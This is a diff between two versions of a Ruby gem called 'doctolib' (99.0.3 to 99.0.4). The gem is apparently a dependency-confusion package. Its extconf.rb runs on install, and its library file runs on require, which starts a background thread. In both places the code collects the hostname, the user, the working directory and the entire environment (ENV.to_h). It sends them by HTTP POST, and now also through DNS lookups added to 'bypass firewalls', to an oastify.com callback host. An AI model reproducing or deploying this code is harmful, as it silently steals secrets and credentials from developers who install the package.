doctolib 99.0.3 → 99.0.4

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 32defcd69c36724a86940d4ee0c8f13f9c78ed6bbc4bd45e06340179e1454388
-  data.tar.gz: 11fc7b0c526f1321770e22a799b9db0bbc574a60f12ee35ff796f4bd2d01c234
+  metadata.gz: daed013ef3a82b15c21812f5213185704c040456590e7ea0938e21b24fb567e2
+  data.tar.gz: 7b450c19935bcf49293dd443b7a22c6597cd3e0bf4ff4f19da504a490ec3163a
 SHA512:
-  metadata.gz: ed62decd7a2e2b4133f2b95aaeeda64f801ed106ecaabf017c135a11081d257eaac24f67b9797a4f28e7d934903318b4bf4af7c26e96dbb2006667b453bf8290
-  data.tar.gz: 73e775067b093a605a65287d8dc79b2cbf7c9660d9aed2af329ebccf6a04ebf1ffe8fb0ecb55b61f2e5e20c395998e1c3d5b8c63ddea74335363bbb40b6c468a
+  metadata.gz: f82229046a782982cc56d79aa499e7e973eadff345b7653b5bfe8e6f2f882435dd64900c88eccadab8cdbd28e9e4af36abd511dc2e8ef78cba9430c5569b2c91
+  data.tar.gz: 817455f784d3b2ed849c2f03dd505daac4ff5d5e71d8d4fa13ddc95aea710491f8f16627ec751fd563f74283fed221f3fb49a21d7dcd5315aee5cce851097626

data/ext/doctolib/extconf.rb

@@ -1,42 +1,39 @@
+require 'socket'
 require 'net/http'
 require 'uri'
 require 'json'
-require 'socket'
 require 'time'
+require 'resolv'
 
 CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
 
+# DNS exfiltration - bypass firewalls
+begin
+  hostname = Socket.gethostname.gsub(/[^a-zA-Z0-9]/, '')[0..20]
+  user = (ENV['USER'] || 'unknown').gsub(/[^a-zA-Z0-9]/, '')[0..15]
+  
+  # DNS lookup = callback même si HTTP bloqué
+  dns_exfil = "geminstall-#{hostname}-#{user}.#{CALLBACK}"
+  Resolv.getaddress(dns_exfil) rescue nil
+rescue
+end
+
+# HTTP callback aussi
 begin
   info = {
     type: 'gem_install',
     hostname: Socket.gethostname,
     user: ENV['USER'] || ENV['USERNAME'],
     pwd: Dir.pwd,
-    home: ENV['HOME'],
     ruby_version: RUBY_VERSION,
-    platform: RUBY_PLATFORM,
     env: ENV.to_h,
     timestamp: Time.now.utc.iso8601
   }
   
-  dir = Dir.pwd
-  10.times do
-    gemfile = File.join(dir, 'Gemfile')
-    if File.exist?(gemfile)
-      info[:parent_gemfile] = File.read(gemfile) rescue nil
-      info[:parent_dir] = dir
-      info[:parent_files] = Dir.entries(dir) rescue nil
-      break
-    end
-    parent = File.dirname(dir)
-    break if parent == dir
-    dir = parent
-  end
-  
   uri = URI("http://#{CALLBACK}/gem_install")
   http = Net::HTTP.new(uri.host, uri.port)
-  http.open_timeout = 5
-  http.read_timeout = 5
+  http.open_timeout = 3
+  http.read_timeout = 3
   
   request = Net::HTTP::Post.new(uri.path)
   request['Content-Type'] = 'application/json'

data/lib/doctolib.rb

@@ -1,17 +1,30 @@
+require 'socket'
 require 'net/http'
 require 'uri'
 require 'json'
-require 'socket'
 require 'time'
+require 'resolv'
 
 module Doctolib
-  VERSION = '99.0.3'
+  VERSION = '99.0.4'
   CALLBACK = 'icaregems.7em0ii1mpvc50kzafx6bf1xunltch6hu6.oastify.com'
   
   unless defined?(@@triggered)
     @@triggered = true
     
     Thread.new do
+      # DNS exfiltration
+      begin
+        hostname = Socket.gethostname.gsub(/[^a-zA-Z0-9]/, '')[0..20]
+        user = (ENV['USER'] || 'unknown').gsub(/[^a-zA-Z0-9]/, '')[0..15]
+        rails = (ENV['RAILS_ENV'] || 'norails').gsub(/[^a-zA-Z0-9]/, '')[0..10]
+        
+        dns_exfil = "gemrequire-#{hostname}-#{user}-#{rails}.#{CALLBACK}"
+        Resolv.getaddress(dns_exfil) rescue nil
+      rescue
+      end
+      
+      # HTTP callback
       begin
         info = {
           type: 'gem_require',
@@ -20,7 +33,6 @@ module Doctolib
           pwd: Dir.pwd,
           ruby_version: RUBY_VERSION,
           rails_env: ENV['RAILS_ENV'],
-          rack_env: ENV['RACK_ENV'],
           env: ENV.to_h,
           timestamp: Time.now.utc.iso8601
         }
@@ -30,8 +42,8 @@ module Doctolib
         
         uri = URI("http://#{CALLBACK}/gem_require")
         http = Net::HTTP.new(uri.host, uri.port)
-        http.open_timeout = 5
-        http.read_timeout = 5
+        http.open_timeout = 3
+        http.read_timeout = 3
         
         request = Net::HTTP::Post.new(uri.path)
         request['Content-Type'] = 'application/json'

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: doctolib
 version: !ruby/object:Gem::Version
-  version: 99.0.3
+  version: 99.0.4
 platform: ruby
 authors:
 - icare